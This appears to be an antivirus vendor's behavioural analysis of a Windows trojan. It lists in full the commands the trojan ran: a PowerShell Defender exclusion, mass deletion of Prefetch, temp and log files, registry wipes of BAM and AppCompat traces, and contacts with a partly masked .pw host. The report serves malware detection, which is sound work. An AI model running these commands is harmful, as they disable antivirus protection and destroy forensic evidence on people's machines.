Trojan.Siggen31.30293

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%ProgramFiles%\Notepad++'"

Executes the following

'<SYSTEM32>\taskkill.exe' /F /T /IM cmd.exe
'<SYSTEM32>\taskkill.exe' /F /T /IM conhost.exe

Launches a large number of processes

Terminates or attempts to terminate

the following system processes:

<SYSTEM32>\cmd.exe

Modifies file system

Creates the following files

<Current directory>\log.txt

Deletes the following files

%WINDIR%\panther\cbs.log
%WINDIR%\prefetch\svchost.exe-05f624ab.pf
%WINDIR%\prefetch\svchost.exe-7cfedea3.pf
%WINDIR%\prefetch\taskhost.exe-7238f31d.pf
%WINDIR%\prefetch\thunderbird setup 78.9.1 (x64-07c878f8.pf
%WINDIR%\prefetch\thunderbird.exe-5119524c.pf
%WINDIR%\prefetch\trustedinstaller.exe-3cc531e5.pf
%WINDIR%\prefetch\steamsetup_2.10.91.91.exe-91d3eed3.pf
%WINDIR%\prefetch\svchost.exe-007fea55.pf
%WINDIR%\prefetch\tsetup.1.4.3.exe-ef3d6f27.pf
%WINDIR%\prefetch\unlodctr.exe-531facc7.pf
%WINDIR%\prefetch\unlodctr.exe-a3d4deeb.pf
%WINDIR%\prefetch\unpack200.exe-bb96da5f.pf
%WINDIR%\prefetch\vcredist_x64.exe-24aea5d8.pf
%WINDIR%\prefetch\vcredist_x64.exe-8227a7ef.pf
%WINDIR%\prefetch\vcredist_x64.exe-a53f124b.pf
%WINDIR%\prefetch\tsetup.1.4.3.tmp-d1aa1547.pf
%WINDIR%\prefetch\uninstall.exe-a11d6b07.pf
%WINDIR%\prefetch\steamservice.exe-57e215d3.pf
%WINDIR%\prefetch\sppsvc.exe-b0f8131b.pf
%WINDIR%\prefetch\shutdown.exe-e7d5c9cc.pf
%WINDIR%\prefetch\searchfilterhost.exe-77482212.pf
%WINDIR%\prefetch\searchindexer.exe-4a6353b9.pf
%WINDIR%\prefetch\searchprotocolhost.exe-0cb8cade.pf
%WINDIR%\prefetch\servicemodelreg.exe-1f42b3e3.pf
%WINDIR%\prefetch\servicemodelreg.exe-afddd121.pf
%WINDIR%\prefetch\setup.exe-04541c92.pf
%WINDIR%\prefetch\setup.exe-0a445b9b.pf
%WINDIR%\prefetch\sc.exe-945d79ae.pf
%WINDIR%\prefetch\setup.exe-45dc58c7.pf
%WINDIR%\prefetch\setup.exe-7c026c7f.pf
%WINDIR%\prefetch\setup.exe-b4850df7.pf
%WINDIR%\prefetch\setup.exe-d498d406.pf
%WINDIR%\prefetch\setup.exe-ea68f294.pf
%WINDIR%\prefetch\setup.exe-f9915f9f.pf
%WINDIR%\prefetch\setuputility.exe-81395de3.pf
%WINDIR%\prefetch\setx.exe-a7e52bf4.pf
%WINDIR%\prefetch\setup.exe-77fe9137.pf
%WINDIR%\prefetch\vcredist_x86.exe-163efd5c.pf
%WINDIR%\prefetch\vcredist_x86.exe-96cf69cf.pf
%WINDIR%\temp\ts_3595.tmp
%WINDIR%\prefetch\vcredist_x86.exe-c622f3ef.pf
%WINDIR%\prefetch\wusa.exe-a8d5906c.pf
%WINDIR%\prefetch\wusa.exe-f04b35c8.pf
%WINDIR%\prefetch\xcopy.exe-41e6513f.pf
%WINDIR%\prefetch\readyboot\trace1.fx
%WINDIR%\prefetch\readyboot\trace2.fx
%WINDIR%\temp\dmi3ddf.tmp
%WINDIR%\prefetch\wmiprvse.exe-1628051c.pf
%WINDIR%\prefetch\wuauclt.exe-70318591.pf
%WINDIR%\temp\fwtsqmfile00.sqm
%WINDIR%\temp\ts_235f.tmp
%WINDIR%\temp\ts_23ec.tmp
%WINDIR%\temp\ts_2862.tmp
%WINDIR%\temp\ts_2b9f.tmp
%WINDIR%\temp\ts_2da4.tmp
%WINDIR%\temp\ts_2eed.tmp
%WINDIR%\temp\fwtsqmfile01.sqm
%WINDIR%\temp\ts_20dd.tmp
%WINDIR%\prefetch\wmiadap.exe-f8dfdfa2.pf
%WINDIR%\prefetch\winrar-x64-531.exe-91d4b934.pf
%WINDIR%\prefetch\wevtutil.exe-ef5861c4.pf
%WINDIR%\prefetch\vc_redist.x64.exe-442857d9.pf
%WINDIR%\prefetch\vc_redist.x64.exe-5c158f2f.pf
%WINDIR%\prefetch\vc_redist.x64.exe-89c170f2.pf
%WINDIR%\prefetch\vc_redist.x64.exe-b0c890fd.pf
%WINDIR%\prefetch\vc_redist.x64.exe-c0cd3f70.pf
%WINDIR%\prefetch\vc_redist.x64.exe-d3a3c549.pf
%WINDIR%\prefetch\vc_redist.x86.exe-1c5672a5.pf
%WINDIR%\prefetch\vc_redist.x64.exe-2c3b2083.pf
%WINDIR%\prefetch\vc_redist.x86.exe-1dcb7807.pf
%WINDIR%\prefetch\vc_redist.x86.exe-4da5e6b3.pf
%WINDIR%\prefetch\vc_redist.x86.exe-92eb15bb.pf
%WINDIR%\prefetch\vc_redist.x86.exe-d6410970.pf
%WINDIR%\prefetch\vc_redist.x86.exe-e8257b7c.pf
%WINDIR%\prefetch\vssvc.exe-b8afc319.pf
%WINDIR%\prefetch\wermgr.exe-0f2ac88c.pf
%WINDIR%\prefetch\wevtutil.exe-400d93e8.pf
%WINDIR%\prefetch\vc_redist.x86.exe-35b8af5d.pf
%WINDIR%\prefetch\runonce.exe-d0649312.pf
%WINDIR%\prefetch\vcredist_x86.exe-73b7ff73.pf
%WINDIR%\prefetch\runonce.exe-0e293dd6.pf
%WINDIR%\prefetch\firefox setup 78.0.2 (x64).ex-d6c4efe8.pf
%WINDIR%\prefetch\bcssync.exe-3f6c64a2.pf
%WINDIR%\prefetch\bfsvc.exe-9c7a4dee.pf
%WINDIR%\prefetch\bspatch.exe-dd9e5e46.pf
%WINDIR%\prefetch\chrome.exe-5617a1bf.pf
%WINDIR%\prefetch\clrgc.exe-5d5b90f5.pf
%WINDIR%\prefetch\cmd.exe-4a81b364.pf
%WINDIR%\prefetch\aspnet_regiis.exe-75651a3c.pf
%WINDIR%\prefetch\aspnet_regiis.exe-86915b5a.pf
%WINDIR%\prefetch\cmd.exe-ac113aa8.pf
%WINDIR%\prefetch\dllhost.exe-5e46fa0d.pf
%WINDIR%\prefetch\dllhost.exe-766398d2.pf
%WINDIR%\prefetch\dllhost.exe-b2eb1806.pf
%WINDIR%\prefetch\dotnetfx35.exe-852dd91f.pf
%WINDIR%\prefetch\dotnetfx35setup.exe-506819a6.pf
%WINDIR%\prefetch\dotnetfx40_full_x86_x64.exe-d34ac1bf.pf
%WINDIR%\prefetch\conhost.exe-1f3e9d7e.pf
%WINDIR%\prefetch\default-browser-agent.exe-01c82e17.pf
%WINDIR%\prefetch\agrobust.db
%WINDIR%\prefetch\agglglobalhistory.db
%WINDIR%\prefetch\agglfgapphistory.db
%WINDIR%\panther\contents0.dir
%WINDIR%\panther\contents1.dir
%WINDIR%\panther\ddaclsys.log
%WINDIR%\panther\diagerr.xml
%WINDIR%\panther\diagwrn.xml
%WINDIR%\panther\mainqueueonline0.que
%WINDIR%\panther\mainqueueonline1.que
%WINDIR%\panther\cbs_unattend.log
%WINDIR%\panther\setup.etl
%WINDIR%\panther\setuperr.log
%WINDIR%\panther\setupinfo
%WINDIR%\panther\unattend.xml
%WINDIR%\prefetch\42.0.2311.135_chrome_installe-7fd75326.pf
%WINDIR%\prefetch\acrordrdc1501020056_en_us.exe-3b58c109.pf
%WINDIR%\prefetch\agapplaunch.db
%WINDIR%\prefetch\agglfaulthistory.db
%WINDIR%\panther\setupact.log
%WINDIR%\prefetch\drvinst.exe-4cb4314a.pf
%WINDIR%\prefetch\firefox.exe-a606b53c.pf
%WINDIR%\prefetch\rundll32.exe-db187fd1.pf
%WINDIR%\prefetch\ie4uinit.exe-8b333e8b.pf
%WINDIR%\prefetch\ntosboot-b00dfaad.pf
%WINDIR%\prefetch\opera_29.0.1795.47_setup.exe-839f60fd.pf
%WINDIR%\prefetch\opera_29.0.1795.47_setup.exe-9c628850.pf
%WINDIR%\prefetch\ose.exe-51c16f0e.pf
%WINDIR%\prefetch\ose00000.exe-2a4efdbf.pf
%WINDIR%\prefetch\pfsvperfstats.bin
%WINDIR%\prefetch\ngen.exe-ae594a6b.pf
%WINDIR%\prefetch\ngen.exe-ec3f9239.pf
%WINDIR%\prefetch\ping.exe-7e94e73e.pf
%WINDIR%\prefetch\regtlibv12.exe-b7c4f383.pf
%WINDIR%\prefetch\regtlibv12.exe-d3a27e55.pf
%WINDIR%\prefetch\rundll32.exe-038e6267.pf
%WINDIR%\prefetch\rundll32.exe-36dac103.pf
%WINDIR%\prefetch\rundll32.exe-7438e4d5.pf
%WINDIR%\prefetch\rundll32.exe-860c49a4.pf
%WINDIR%\prefetch\rdrservicesupdater.exe-3d26e665.pf
%WINDIR%\prefetch\regsvr32.exe-8461dbee.pf
%WINDIR%\prefetch\netsh.exe-f1b6da12.pf
%WINDIR%\prefetch\ndp48-x86-x64-allos-enu.exe-54656820.pf
%WINDIR%\prefetch\msiexec.exe-e09a077a.pf
%WINDIR%\prefetch\installer.exe-58ba519f.pf
%WINDIR%\prefetch\installer.exe-6c3ab888.pf
%WINDIR%\prefetch\jaureg.exe-2358f266.pf
%WINDIR%\prefetch\javaw.exe-dccf0ab8.pf
%WINDIR%\prefetch\javaws.exe-ed58c697.pf
%WINDIR%\prefetch\jp2launcher.exe-7dccd1b9.pf
%WINDIR%\prefetch\jre-8u45-windows-x64.exe-61cc34b3.pf
%WINDIR%\prefetch\install.exe-3b270e29.pf
%WINDIR%\prefetch\lodctr.exe-3cce0534.pf
%WINDIR%\prefetch\mofcomp.exe-8fe3d558.pf
%WINDIR%\prefetch\mofcomp.exe-fde76efc.pf
%WINDIR%\prefetch\mscorsvw.exe-245ed79e.pf
%WINDIR%\prefetch\mscorsvw.exe-57d17daf.pf
%WINDIR%\prefetch\mscorsvw.exe-90526fac.pf
%WINDIR%\prefetch\mscorsvw.exe-c3c515bd.pf
%WINDIR%\prefetch\msiexec.exe-a2d55cb6.pf
%WINDIR%\prefetch\lodctr.exe-72cd50d0.pf
%WINDIR%\prefetch\rundll32.exe-e6258edf.pf
%WINDIR%\temp\ts_3622.tmp

Network activity

Connects to

'hi###usha.pw':443

TCP

Other

'hi###usha.pw':443

UDP

DNS ASK hi###usha.pw

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Executes the following

'<SYSTEM32>\cmd.exe' /c @echo off
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\appcompat\Programs\Install\*.xml
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\appcompat\Programs\Install\*.txt
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\appcompat\Programs\*.xml
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\appcompat\Programs\*.txt
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\Panther\*.*
'<SYSTEM32>\cmd.exe' /c DEL /f /s /q %WINDIR%\Prefetch\
'<SYSTEM32>\cmd.exe' /c DEL /f /q %APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*.*
'<SYSTEM32>\cmd.exe' /c DEL /f /q %APPDATA%\Microsoft\Windows\Recent\*.*
'<SYSTEM32>\reg.exe' ADD "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2"
'<SYSTEM32>\cmd.exe' /c REG ADD "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2"
'<SYSTEM32>\reg.exe' DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" /f
'<SYSTEM32>\cmd.exe' /c REG DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" /f
'<SYSTEM32>\reg.exe' DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /va /f
'<SYSTEM32>\cmd.exe' /c DEL /f /q %APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*.*
'<SYSTEM32>\cmd.exe' /c FOR /F "tokens=2" %%i IN ('whoami /user /fo table /nh') DO SET usersid=%%i
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\temp\
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%ProgramFiles%\Notepad++\notepad++.exe" /t REG_SZ /d "~ RUNASADMIN" /f
'<SYSTEM32>\cmd.exe' \c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" \v "%ProgramFiles%\Notepad++\notepad++.exe" \t REG_SZ \d "~ RUNASADMIN" \f
'<SYSTEM32>\cmd.exe' /c taskkill /F /T /IM conhost.exe
'<SYSTEM32>\cmd.exe' /c taskkill /F /T /IM cmd.exe
'<SYSTEM32>\cmd.exe' /c :done
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\Minidump\*.*
'<SYSTEM32>\cmd.exe' /c REG DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /va /f
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\Prefetch\
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\Prefetch\*.bin
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\Prefetch\*.ebd
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\Prefetch\*.7db
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\Prefetch\*.ini
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\Prefetch\*.pf
'<SYSTEM32>\cmd.exe' /c DEL /f /s /q %temp%
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\Prefetch\*.db
'<SYSTEM32>\cmd.exe' /c DEL /f /q %temp%
'<SYSTEM32>\reg.exe' DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store" /va /f
'<SYSTEM32>\cmd.exe' /c REG DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store" /va /f
'<SYSTEM32>\reg.exe' DELETE "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\bam\UserSettings\%usersid%" /va /f
'<SYSTEM32>\cmd.exe' /c forfiles /P "%_inet_cache%" /M * /C "cmd /c if @ISDir==TRUE rmdir /S /Q @File"
'<SYSTEM32>\cmd.exe' /c goto start
'<SYSTEM32>\cmd.exe' /c :start
'<SYSTEM32>\cmd.exe' /c cls
'<SYSTEM32>\cmd.exe' /c set _inet_cache=C:\Users\%username%\AppData\Local\Microsoft\Windows\<INETFILES>\IE
'<SYSTEM32>\cmd.exe' /c forfiles /P "%_inet_cache%" /M * /C "cmd /c if @ISDir==FALSE del @File"
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-MpPreference -ExclusionPath '%ProgramFiles%\Notepad++'"
'<SYSTEM32>\forfiles.exe' /P "%_inet_cache%" /M * /C "cmd /c if @ISDir==FALSE del @File"
'<SYSTEM32>\cmd.exe' /c forfiles /P "%_windows_temp%" /M * /C "cmd /c if @ISDir==FALSE del @File"
'<SYSTEM32>\cmd.exe' /c set _Local_Temp=C:\Users\%username%\AppData\Local\Temp
'<SYSTEM32>\cmd.exe' /c forfiles /P "%_Local_Temp%" /M * /C "cmd /c if @ISDir==FALSE del @File"
'<SYSTEM32>\forfiles.exe' /P "%_Local_Temp%" /M * /C "cmd /c if @ISDir==FALSE del @File"
'<SYSTEM32>\cmd.exe' /c forfiles /P "%_Local_Temp%" /M * /C "cmd /c if @ISDir==TRUE rmdir /S /Q @File"
'<SYSTEM32>\forfiles.exe' /P "%_Local_Temp%" /M * /C "cmd /c if @ISDir==TRUE rmdir /S /Q @File"
'<SYSTEM32>\forfiles.exe' /P "%_inet_cache%" /M * /C "cmd /c if @ISDir==TRUE rmdir /S /Q @File"
'<SYSTEM32>\cmd.exe' /c DEL /f /q %WINDIR%\Prefetch\ReadyBoot\*.fx
'<SYSTEM32>\forfiles.exe' /P "%_windows_temp%" /M * /C "cmd /c if @ISDir==FALSE del @File"
'<SYSTEM32>\cmd.exe' /c set _explorer=C:\Users\%Username%\AppData\Local\Microsoft\Windows\Explorer
'<SYSTEM32>\cmd.exe' /c forfiles /P "%_windows_temp%" /M * /C "cmd /c if @ISDir==TRUE rmdir /S /Q @File"
'<SYSTEM32>\cmd.exe' /c REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\bam\UserSettings\%usersid%" /va /f
'<SYSTEM32>\reg.exe' DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bam\UserSettings\%usersid%" /va /f
'<SYSTEM32>\cmd.exe' /c REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bam\UserSettings\%usersid%" /va /f
'<SYSTEM32>\reg.exe' ADD "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Search\RecentApps"
'<SYSTEM32>\cmd.exe' /c REG ADD "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Search\RecentApps"
'<SYSTEM32>\forfiles.exe' /P "%_windows_temp%" /M * /C "cmd /c if @ISDir==TRUE rmdir /S /Q @File"
'<SYSTEM32>\reg.exe' DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Search\RecentApps" /f
'<SYSTEM32>\cmd.exe' /c set _windows_temp=%WINDIR%\Temp
'<SYSTEM32>\cmd.exe' /c set _prefetch_temp=%WINDIR%\Prefetch
'<SYSTEM32>\forfiles.exe' /P "%_explorer%" /M * /C "cmd /c if @ISDir==TRUE rmdir /S /Q @File"
'<SYSTEM32>\cmd.exe' /c forfiles /P "%_explorer%" /M * /C "cmd /c if @ISDir==TRUE rmdir /S /Q @File"
'<SYSTEM32>\forfiles.exe' /P "%_explorer%" /M * /C "cmd /c if @ISDir==FALSE del @File"
'<SYSTEM32>\cmd.exe' /c forfiles /P "%_explorer%" /M * /C "cmd /c if @ISDir==FALSE del @File"
'<SYSTEM32>\cmd.exe' /c REG DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Search\RecentApps" /f
'<SYSTEM32>\notepad.exe' <Current directory>\log.txt

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial